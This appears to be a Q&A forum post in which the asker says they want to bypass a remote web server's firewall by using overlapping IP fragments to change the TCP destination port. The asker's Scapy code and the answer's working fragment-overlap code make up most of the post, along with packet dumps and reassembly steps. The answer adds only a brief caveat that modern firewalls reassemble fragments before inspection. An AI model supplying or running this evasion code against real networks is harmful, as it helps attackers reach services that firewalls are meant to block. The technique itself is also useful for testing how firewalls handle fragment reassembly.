The overlapping fragment attack using Scapy How to use Scapy to overwrite a part of the TCP header information of the first fragment, which contained data that was allowed to pass through the firewall, with malicious data in subsequent fragments?

For example: overwrite the destination port number to change the type of service i.e. change from port 80 (HTTP) to port 23 (Telnet) which would not be allowed to pass the router in normal circumstances.

I want to overwrite the destination port in order to connect to the new port number. And I'm trying to bypass Firewall restrictions on remote web server which allows only web traffic on 80 port.

I've used this sample code, but I don't get a response from the target machine:

dstIP=’10.0.2.17’

frag1=IP(dst=dstIP, id=12345, proto=1, frag=0, flags=1)/TCP(dport=80)/ICMP(type=8,
code=0, chksum=0xdce8)

frag2=IP(dst=dstIP, id=12345, proto=1, frag=2, flags=1)/TCP(dport=23)/”ABABABAB”

frag3=IP(dst=dstIP, id=12345, proto=1, frag=1,flags=0)/TCP(dport=23)/”AAAAAAAABABABABACCCCCCCC”

send(frag1)
send(frag2)
send(frag3)

Create a fake IP header hinting proto=tcp. Note that you cannot modify IP header fields with a fragment overlap as we are talking about IP payload fragmentation. Set the MF More Fragments flag and indicate that this is the first fragment by setting the offset to 0 frag=0. Create another IP packet with the same IP.id, IP.src, IP.dst, IP.proto with the MF flag not being set (last fragment does not have MF bit set). This packet is going to overlap IP payload at a specific offset therefore set the fragment offset frag=x where the actual position in your payload is x*8 i.e. offset=1 is the position of byte 8 (this would be the TCP checksum).

Here's a simple example:

# create two IP packets, one with 1480 payload bytes and one with 4 payload bytes
# initial payload is TCP with sport/dport being 9999

frags = fragment(IP(dst=dstIP)/TCP(sport=9999,dport=9999)/("FAKE"*(1464//4)))

# [<IP  flags=MF frag=0 proto=tcp dst=10.0.2.17 |<Raw  load="'\x0f'\x0f\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xd5n\x00\x00FAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKE" |>>, <IP  flags= frag=185 proto=tcp dst=10.0.2.17 |<Raw  load='FAKE' |>>]
# overwrite the 4 payload bytes of fragment 2 to overlap the reassembled IP packet at offset 0 to overwrite sport/dport to port 80,80

frags[1][Raw].load=struct.pack("!HH",80,80)  # network byteorder
frags[1][IP].frag=0
# <IP  flags= frag=0 proto=tcp dst=10.0.2.17 |<Raw  load='\x00P\x00P' |>>

# send your fragments and watch them being reassembled in wireshark/...
# they should show up the initial IP/TCP/sport=dport=9999 packet but with sport/dport being set to 80
send(frags)

This will reassemble to:

IP(dst=dstIP)/TCP(sport=80,dport=80)/("FAKE"*(1460//4))

Note that you still have to fix the TCP checksum and modern firewalls usually employ IP defragmentation and TCP stream reassembly in order to evaluate the actual reassembled packet/segment instead of one of its fragments.